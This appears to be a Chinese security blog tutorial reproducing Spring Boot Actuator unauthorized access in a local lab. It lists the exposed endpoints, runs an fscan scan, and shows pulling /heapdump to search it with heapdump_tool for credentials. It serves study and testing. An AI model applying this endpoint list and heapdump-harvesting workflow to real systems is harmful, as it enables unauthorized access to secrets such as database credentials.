Springboot Actuator未授权访问漏洞复现
更新时间:2022.07.20
微信公众号:乌鸦安全
1. 漏洞介绍
2. 漏洞环境搭建
搭建环境:windows10 + java1.8 可以直接按照命令进行操作,但是在环境搭建中,可能会遇到一定的问题:
git clone https://github.com/callicoder/spring-boot-actuator-demo.git cd spring-boot-actuator-demo-master mvn package java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
mvn的安装,可以百度下,比较容易。 执行mvn package 此时出现报错: 因为我们使用的没有IDE,所以在这可以用这个方法:
其他的方法可能不是很合适。继续编译,等待一会之后,编译成功:
然后启动环境:java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
访问当前的ip信息:
此时环境搭建完成。
3. 漏洞利用
3.1 漏洞发现
一般来说,这种可以通过扫描工具发现漏洞,在这里可以用fscan来试试: ./fscan_darwin -h 10.211.55.5 在这里可以发现有两个漏洞:
[+] http://10.211.55.5:8080 poc-yaml-springboot-env-unauth spring2 [+] http://10.211.55.5:8080 poc-yaml-spring-actuator-heapdump-file
3.2 利用方法
1.x版本
/configprops # 显示所有@ConfigurationProperties /env # 公开 Spring 的ConfigurableEnvironment /health # 显示应用程序运行状况信息 /httptrace # 显示 HTTP 跟踪信息 /metrics # 显示当前应用程序的监控指标信息。 /mappings # 显示所有@RequestMapping路径的整理列表 /threaddump # 线程转储 /heapdump # 堆转储 /jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
2.x版本
/actuator/configprops # 显示所有@ConfigurationProperties /actuator/env # 公开 Spring 的ConfigurableEnvironment /actuator/health # 显示应用程序运行状况信息 /actuator/httptrace # 显示 HTTP 跟踪信息 /actuator/metrics # 显示当前应用程序的监控指标信息。 /actuator/mappings # 显示所有@RequestMapping路径的整理列表 /actuator/threaddump # 线程转储 /actuator/heapdump # 堆转储 /actuator/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
3.2 springboot-env-unauth
公开 Spring 的ConfigurableEnvironment
2.3 spring-actuator-heapdump
其实在实战中,最重要的就是heapdump文件,在这里文件里面理论上可以发现很多敏感的数据库之类的信息。 该文件可以直接下载到本地来,使用专业工具进行解密; 专业工具地址: 使用方法:java -jar heapdump_tool.jar heapdump
在这里选择1,然后搜索关键字:
当然,在这个环境中,暂时没有发现什么敏感信息,但是在实战里面,有概率是可以发现敏感数据的:
4. 总结
关于其他的工具来获取明文信息的,可以参考一下链接: